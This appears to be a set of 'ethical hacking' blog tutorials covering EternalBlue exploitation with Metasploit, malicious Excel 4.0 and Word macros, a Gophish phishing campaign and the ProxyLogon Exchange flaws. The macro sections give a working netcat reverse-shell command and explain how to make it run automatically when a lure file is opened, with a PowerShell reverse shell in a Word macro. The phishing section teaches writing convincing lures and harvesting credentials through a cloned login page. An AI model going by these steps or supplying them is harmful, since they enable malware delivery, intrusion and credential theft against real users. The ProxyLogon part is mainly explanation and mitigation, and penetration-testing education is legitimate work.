Category: Gaining Access

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EternalBlue vulnerability: Explained with POC

Hello, aspiring Ethical Hackers. In this article, you will learn about the infamous EternalBlue vulnerability and its exploitation.

Vulnerability & Impact

Exploited by Wannacry ransomware, the EternalBlue vulnerability exists in the Server Message Block (SMB) protocol. Due to improper handling of specially crafted packets by SMB version 1 (SMBV1) of Microsoft windows this vulnerability allows attackers to execute malicious code on the vulnerable systems. This vulnerability affects Microsoft Windows versions Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows XP, Windows 8 and Windows Server 2003. This vulnerability was observed being exploited as recently as 2020.

Proof Of Concept

As the vulnerability is so famous (I mean infamous), Metasploit has already released exploit modules for this particular vulnerability.

We are going to test some of these modules on a Windows 7 target. Let’s first use the scanner module of metasploit to test whether this machine is vulnerable to EternalBlue vulnerability.

Set the RHOSTS option and execute the module.

The scanner module confirms that the target is indeed vulnerable. Now, let’s load the module for exploiting Eternal Blue vulnerability and grab a session.

Set all the required options and use “check” command to see if the target is indeed vulnerable.

After all the required options are set, execute the module.

As you can see, we got a meterpreter session on the target system and that too with SYSTEM privileges.

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Excel 4.0 Macros: How to create a malicious one

Hello aspiring ethical hackers. In our previous article, you have learnt what a Macro is and how to create a malicious VBA macro. In this article, you will learn about Excel 4.0 Macros and how to create one. Excel 4.0 Macros or XLM were introduced by Microsoft in 1992 when Excel 4.0 was launched as a default macro language and they serve the same functions as VBA macros in Word.  

As Excel 4.0 Macros are used for legitimate purposes, they can’t just be disabled by many. Further increasing the effectiveness of these macros, there is not yet a good detection method to detect malicious XL4 macros. Apart from this, they are very simple create but also very powerful just like Visual Basic Application (VBA) Macros.

 Now let’s see how to create an Excel 4.0 Macro. On a Windows system, we open Excel in Microsoft Office or the Office Suite. We are doing this on Microsoft Office 2007. You should see an Excel Workbook opened as shown below.

Right click on “Sheet 1” and select the “Insert” option as shown below.

In the newly opened window, select MS Excel 4.0 Macro and click on “OK”.

This will change the name of “Sheet 1” to “Macro 1” as shown below.

Save the file with the name you like. We have named it “evil_macro” for easy identification. While saving it, save it as a Macro Enabled Excel Workbook.

Once the file is saved, it’s time to create the macro. In the first column, which is named A1, we insert the command given below.

=EXEC(“cmd.exe”)

You may not realize, but you have already created your first XL4 macro. In the second column, i.e A2, insert another command =HALT(). This is to ensure that the macro you created does not face an error while running. It’s time to test your macro. Right Click on the first column, and click on “Run” as shown below.

Most probably, this will open a new window as shown below. Click on “Run”.

Doing this opens a Windows CMD window as shown below.

Voila, we successfully created a Excel 4.0 Macro and even executed it. If you have noticed it, we opened a Windows CMD by inserting a simple code. Now, let’s make a few changes to the “evil_macro” file. Move the =HALT() command to A3 cell and enter command given below in cell A2. Save the file.

=ALERT(“You have been hacked”)

Right click on Cell A1 and select “Run” again just like you did before.

Now, we can see that apart from Windows CMD window being opened, another window popped up with the message “You have been hacked”. We have just performed two operations with macros in one file. Not just cmd.exe, we can open other programs like Notepad and Calc.exe using the “=exec” function.

Now, let’s try something a bit advanced like spawning a reverse shell now. Download the Netcat Windows executable. Open Notepad and insert the following command into it.

<Path to Netcat Windows executable> <target IP> <target port> -e cmd.exe.

On our system, this command looks like this.                    

C:\Users\nspadm\Desktop\nc.exe 192.168.36.189 4444 -e cmd.exe

The -e option specifies which command to execute after netcat makes a successful connection. Now, save this file as a CMD file.  This can be done by saving the file in double quotes. For example, “shell.cmd” and keeping the file type as all files.

Now, in your evil_macro file, change the =EXEC function to execute the shell.cmd file you just now created as shown below.

Save the file. Before executing the macro, start a Netcat listener on the listener IP address you specified.

Now, when you execute the macro, you should get a successful shell as shown below.

This is all fine but nobody will open an Excel file and execute some suspicious looking code in it. We need the code to run automatically as soon as the user opens the Excel file. To do this, Click on A1 cell of your “evil_macro” file and rename it to “Auto_Open” as shown below.

Save the changes and close the file. Start the netcat listener again. Now, just open the evil_macro file and you should see the successful spawning of reverse shell again. That’s all about Excel 4.0 Macros for now.

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Malicious Macro’s : What, Why and How

Hello aspiring Ethical Hackers. In this article, you will learn about Malicious Macros also known as Macro Malware or Macro Virus. In computer science, a Macro is a set of commands grouped together as a single command. This is used to run some tasks automatically. In Word, Macros are used to automate frequently used tasks.
           Hackers have been using Macros since a long time as a means to gain initial access to target networks by injecting malicious code into macros. These macros all called malicious macros or macro malware or macro virus. Let’s see how to create a malicious macro.
             For this we will be using a tool that is here. In Kali, clone this tool as shown below.

Navigate into the cloned directory.

Inside that directory, there will be two python scripts: “newpayloadgeneration.py” and ‘payload.py’. Run the script ‘newpayloadgeneration.py’ giving the Attacker IP and port as options. This script generates a Powershell script for reverse shell. Obviously, the IP and port should be of that system on which the listener is running to receive the reverse shell.

Copy the generated encoded string. Open the file ‘payload.py’ and paste the encoded string in the highlighted place.

Once pasted, save the file ‘payload.py’ to preserve the changes. Now, execute the ‘payload.py’ script.

The code for malicious macro is ready. Now let’s create a Macro document. For this tutorial, we are using MS Office 2007 to create it. Open a new Word document, go to View tab and click on Macros (as highlighted below).

Click on “view macros”.

In the new window that opens, click on “create” and give any name you prefer to that macro (We named it test, obviously).

Now, we create the code for macro. It starts with “Sub AutoOpen(). “Sub” stands for Subroutine in macro. It is a small program within the Visual Basic editor. Setting AutoOpen() executes the macro automatically whenever the document is opened. In the subroutine test(), we paste the malicious code we created earlier as shown below.

Then we save this file. This file is sent to the target users. In Real World hacking attacks, since this is the lure document, some bells and whistles are added to convince users to open the document and enable macros. We start the Netcat listener on the attacker machine. When the target user opens this file, we get a security warning saying that macros have been disabled. This is a security feature by Microsoft to protect user from malicious macros. Let’s enable macros for this tutorial. click on options and enable macros as shown below.

As soon as we do this, a Powershell window opens (remember that a we created a Powershell reverse shell)

and we get a incoming reverse shell on our listener as shown below.

This is how malicious macros work to give attackers initial access.

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Gophish: Setup a Phishing Campaign

Hello aspiring ethical hackers. In this article you will learn how to setup a phishing campaign. Readers have learnt what is phishing and various phishing techniques in our previous blog posts.  It is a fitting conclusion that the next article in our phishing series should be about creating a phishing campaign. Phishing campaign or Email phishing campaign or Spear Phishing campaign is the campaign that sends emails to the victims to lure them to the Phishing site.   

Although, this tutorial is similar to phishing campaigns run by malicious hackers, this campaign can also be used to test the security of a company by assessing how vulnerable are the employees of the company to a phishing attack. There are many tools to simulate phishing attacks which are used by Red Team professionals. Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. It is available for both Windows and Linux operating systems.   

I will be using a Windows version of Gophish as I want to install it on Windows. Installing Gophish on Windows is damn easy. Just download Gophish for Windows, extract the contents of the zip archive. open Windows  command line and navigate into the extracted directory and execute the Gophish executable as shown below. This executes some commands as shown below.

If you observe the CMD window, you will find the username and password for the Gophish dashboard. This part is highlighted in the image above. These credentials are needed to login into the Gophish dashboard. Keep the CMD window open, Open Browser and enter address https://127.0.0.1:3333. This is the default port on which Gophish runs. If you get any certificate error, click on advanced to bypass it and then enter submit the above mentioned credentials.

The first thing you will see after logging in is that the system prompts you to reset your password. Reset the password.

Now, you can access the Gophish dashboard.

The first thing we need to do is create a sender profile. This is the mail address from which the spear phishing email comes from.

Click on “Sending profiles” tab and then click on “New profile” to create a new Sending Profile. Set the options for the sending profile. For example, we set the name for this as “phishing campaign 1”. To send any type of email, we’ll need a SMTP server. For this tutorial, I will be using the SMTP server of Gmail as I will be sending an email from Gmail. In Real world phishing attacks and even in many phishing simulations, a new domain is created and the email is sent from that domain’s mail to make the phishing email appear genuine. The username is the Gmail username and password is Gmail password.

Save the changes. Send a test email to the email of your choice to see if the Phishing email appears as you want it to be.

The username we specify is very important here as it will be displayed. So it has to be made as convincing as possible. Once you are satisfied with the sending profile, you can save it.

Next, we need to create Users and Groups. This is where we assign target users for of our phishing campaign.

Click on “New Group” to create a new batch of recipients. I have named this group as Target_ 1.

For this tutorial, I’ll add only a single recipient.

If you want to add a large number of users, you can save them in a CSV file and just import those users with the “bulk import users option”.

It’s time to create an email template. This is the most important part of a phishing email since it has the email body that convinces a victim to click or take any other action.

But before we compose the spear phishing email, let’s create a phishing website. For this tutorial, we will be capturing some credentials. Hence we will be using a fake website created using Social Engineering Toolkit in Kali Linux. We can also create a phishing website with Weeman.

The phishing site is ready and will display any captured credentials on this terminal. Go back to Gophish. Click on “New Template” to create a new email.

Remember what I said. This part is the most important and the content of the email should convince the user take whatever action you want him to take. We are just showing the age-old account suspension mail. Let’s have a look at some of the spear phishing emails used in real world hacking attacks.

The above mail is sent to Godaddy customers. The Logo, Customer support number etc almost convince even me but just look at the Sender Email. The domain of Godaddy is godaddy.com but sender email is really phishy.

This above phishing email is a must read. Everything looks so convincing. Even I think I have a account at Suntrust. Only when we hover over the link that we can see it is suspicious. 

The above mail is directed towards Instagram users. Although sender email is phishy, have a look at the message of the mail. It says your Instagram password has been changed and if it is not you that changed the password, you are asked to click on the link they have provided to reset your password. It even provides a link to the Instagram Help Center to appear trustworthy.

        I am sure readers got an idea about how phishing emails look like. If you find an email suspicious, just hover over the links instead of clicking on them.  Once, the body of the email is complete, let’s add a hyperlink to the email content. Click on “source”.

I want the users to be redirected to my Kali Linux attacker machine.

The Email template is ready. It’s time to set the landing page. Landing page in Gophish is the page where users will be redirected to after clicking a link in the email.

Click on “New Page”. You can create a new landing page or you can import an already created landing page. Let me import the phishing site I created in SE Toolkit on Kali Linux. After capturing credentials,

Just like any phishing website, we can redirect the users to another webpage after capturing credentials. I want the victims to be redirected to the genuine site of Facebook.

Save the landing page.

Everything is ready. It’s time to start the phishing campaign. Go to campaigns and click on “New Campaign”.

Specify all the options like URl, the recipients etc and click on “Launch campaign”. You can set the  date and timing for the phishing campaign. 

In the dashboard you can view result of the campaign. You can see how many victims read your email and how many fell to your phishing campaign.

This is how the spear phishing email I created looks in Email Inbox.

Here is how the content of the email looks.

Here is the phishing site the user is redirected to once he clicks on the link.

Once the victim fails to notice the signs of a phishing email, he enters his credentials.

These credentials are captured in SETOOLKIT as shown below.

Credentials captured and our phishing campaign is successful. This is how a successful campaign is run.

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ProxyLogon vulnerability : Explained In detail

Hello aspiring ethical hackers. In this article, you will learn about the ProxyLogon vulnerability. ProxyLogon is a vulnerability that impacts the Microsoft Exchange Server.  It is estimated that over 2,50,000 Microsoft Exchange Servers were victims of this vulnerability at the time of its detection.

The Proxy Logon vulnerability is related to the four zero day vulnerabilities that were detected in the Exchange Server in December 2020. On December 10, 2020, Orange Tsai, security researcher working in DEVCORE, discovered that attackers can combine some vulnerabilities in the Exchange Server to achieve remote code execution on the target and upload a webshell to it. The four vulnerabilities are,

CVE-2021-26855: SERVER SIDE REQUEST FORGERY

This is a Server-Side Request Forgery (SSRF) vulnerability in the Exchange Server that allows remote attackers to gain admin access once exploited. This can be exploited by sending a specially crafted web request to a vulnerable Exchange Server. The web request contains an XML SOAP payload directed at the Exchange Web Services (EWS) API endpoint.  This request bypasses authentication using specially crafted cookies. This vulnerability, combined with the knowledge of a victim’s email address, means the attacker can exfiltrate all emails from the target’s Exchange mailbox.

CVE-2021-26857: REMOTE CODE EXECUTION VULNERABILITY

This is a post-authentication insecure deserialization vulnerability in the Unified Messaging service of an Exchange Server that allows commands to be run with SYSTEM privileges. The SYSTEM account is used by the operating system and services that run under Windows. As readers have seen many times in our Magazine, a SYSTEM account in Windows has full permissions by default. A hacker can either steal credentials or use the above mentioned vulnerability to execute arbitrary commands on a vulnerable Exchange Server in the security context of SYSTEM.

CVE-2021-26858 AND CVE-2021-27065

These two vulnerabilities are post-authentication arbitrary file write vulnerabilities that allow attackers to write files to any path on a vulnerable Exchange Server. A malicious hacker can also exploit the previously mentioned SSRF vulnerability to achieve admin access and then exploit this vulnerability to write web shells to virtual directories (VDirs). These virtual directories are published to the internet by the server’s Internet Information Server (IIS).
IIS is Microsoft’s web server and a dependency that is installed with Exchange Server and provides services for Outlook on the web, previously known as Outlook Web Access (OWA), Outlook Anywhere, ActiveSync, Exchange Web Services, Exchange Control Panel (ECP), the Offline Address Book (OAB) and AutoDiscover.
According to Microsoft, these vulnerabilities were first exploited by HAFNIUM, a Chinese government sponsored APT (Advanced Persistent Threat) but operating out of China. This group is known to install the web shell named China Chopper. As of 12th March 2021, at least 9 other hacker groups exploited these vulnerabilities apart from HAFNIUM.  The versions of Exchange Servers vulnerable to these vulnerabilities are,                   

Exchange Server 2019 < 15.02.0792.010                   
Exchange Server 2019 < 15.02.0721.013                   
Exchange Server 2016 < 15.01.2106.013                   
Exchange Server 2013 < 15.00.1497.012

The exploit is named Proxy Logon as it exploits the proxy architecture and login mechanism in the Exchange Server.

How to detect ProxyLogon vulnerability?

Metasploit has some modules related to these vulnerabilities. Let’s have a look at these modules.

The auxiliary/gather/exchange_proxylogon_collector module exploits the CVE-2021-26855 vulnerability and dumps all the contents of the mailboxes.

The exploit/windows/http/exchange_proxylogon_rce module exploits the CVE-2021-26855 vulnerability to bypass authentication and gain admin access and then writes a arbitrary file to the target using CVE-2021-27065 to achieve remote code execution.  All the above mentioned versions are vulnerable by default.

The auxiliary/scanner/http/exchange_proxylogon module checks for the CVE-2021-26855 vulnerability that makes Exchange Servers vulnerable.

Microsoft has released a security update on March 2021 to patch these vulnerabilities in Exchange Server versions mentioned above. Applying these patches will fix these vulnerabilities. As soon as Microsoft released these security updates, hacker groups around the world went on a scanning spree to hunt for unpatched Exchange Servers.

As there was a delay in applying patches, Microsoft also released a one-click mitigation tool that fixed these vulnerabilities in Exchange Servers. Microsoft has also noted that this tool named Microsoft Exchange On-Premises Mitigation Tool (EOMT) is helpful for those organizations that don’t have a dedicated IT security staff. This tool also includes the Microsoft Safety Scanner and an URL Rewrite mitigation for CVE-2021-26855. However, it stressed that this tool was not an alternative for applying the released security patches.